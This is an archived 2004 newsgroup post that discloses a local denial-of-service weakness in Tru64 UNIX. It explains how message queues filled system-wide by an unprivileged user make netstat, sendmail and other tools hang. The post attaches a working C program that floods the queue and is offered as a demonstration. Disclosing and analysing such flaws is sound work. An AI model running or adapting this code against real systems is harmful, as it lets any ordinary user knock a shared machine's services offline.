From mboxrd@z Thu Jan 1 00:00:00 1970 X-Google-Thread: fa528,5c932eb29bbddad0,start X-Google-Attributes: gidfa528,public X-Google-Language: ENGLISH,ASCII-7-bit Path: g2news1.google.com!news2.google.com!fu-berlin.de!uni-berlin.de!not-for-mail From: Loic Domaigne Newsgroups: comp.unix.tru64 Subject: DoS Attack on Tru64 Date: Sun, 03 Oct 2004 02:00:14 +0200 Message-ID: <2s8tlbF1iva0bU1@uni-berlin.de> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="------------050003040100080808090300" X-Trace: news.uni-berlin.de HFsLXsi09jvKDQfYDqfDLQX7d6QyGg2U9KdRH9t5ujdJhGo2PY User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20040922 X-Accept-Language: en-us, en Xref: g2news1.google.com comp.unix.tru64:329 This is a multi-part message in MIME format. --------------050003040100080808090300 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit This is a re-run of what I posted a few minutes ago on the HP/Tru64 Forum. Any comments, additional information or corrections would be greatly appreciated. Cheers from the vicinity of Alpha 21164-A ;-) Loic. ------------------------------------------------------------------ Dear Tru64 friends, So I believe, I found now the whole story about that netstat hang problem. And as a by-product, a way of generating a kind of Denial of Service Attack as a simple user. As far as I can see, this issue applies up to the recent TRU64 5.1B. The file in attachement in a small C program showing the attack. It does nothing but writing to a message queue until the maximal number of outstanding messages system wide is reached. Then that's it. Every program that uses /rdsym/ -- for instance, the one calling knlist() -- will block. Among others: nfsstat, pfstat, arp, ogated, rarpd, route, sendmail, srconfig, strsetup, trpt, netstat and xntpd... They shall block, because it seems that /rdsym/ communicates with /kloadsrv/ via a message queue. Since the queues are "system-wide" full, then /rdsym/ blocks and so does the process calling knlist(). It is not directly a kernel BUG. But a very infortunate design issue. IMHO. Because any "simple" /foobar/ (by "simple", I mean even without any root rights) might easily render the whole system pretty much useless... without a lot of efforts! This story is an 'aggregation' of various posts that can be found on the Web. I am a bit surprised, but it looks like that nobody did the math so far... Any comments? --------------050003040100080808090300 Content-Type: text/x-csrc; name="DoS_Tru64.c" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="DoS_Tru64.c" /* To compile: cc DoS_Tru64.c -o DoS To run: shell$ ./DoS */ #include #include #include #include #include #include #include #define MSGQ_KEY 0x1234 #define PERM 0660 struct mymsg { long mtype; char mtext[1]; }; int main() { int msg_id; /* message Queue id. */ struct mymsg msg; /* message to send. */ int nmsg; /* number of msg send. */ int status; /* status returned by msgsnd(). */ /* * Create Message Queue */ if ( (msg_id = msgget (MSGQ_KEY, PERM | IPC_CREAT | IPC_EXCL)) == -1 ) { perror ("msgget: "); exit (EXIT_FAILURE); } /* * now write message one by one until Queue is full */ msg.mtype = 1; msg.mtext[0] = 'A'; nmsg = 0; do { status = msgsnd (msg_id, &msg, sizeof(msg.mtext), IPC_NOWAIT); nmsg++; printf ("Sent msg #%d\r", nmsg); } while ( status == 0 ); if (errno != EAGAIN ) { perror ("msgsnd: "); exit (EXIT_FAILURE); } printf ("Queue full, sent %d messages\n", nmsg-1); exit (EXIT_SUCCESS); } --------------050003040100080808090300--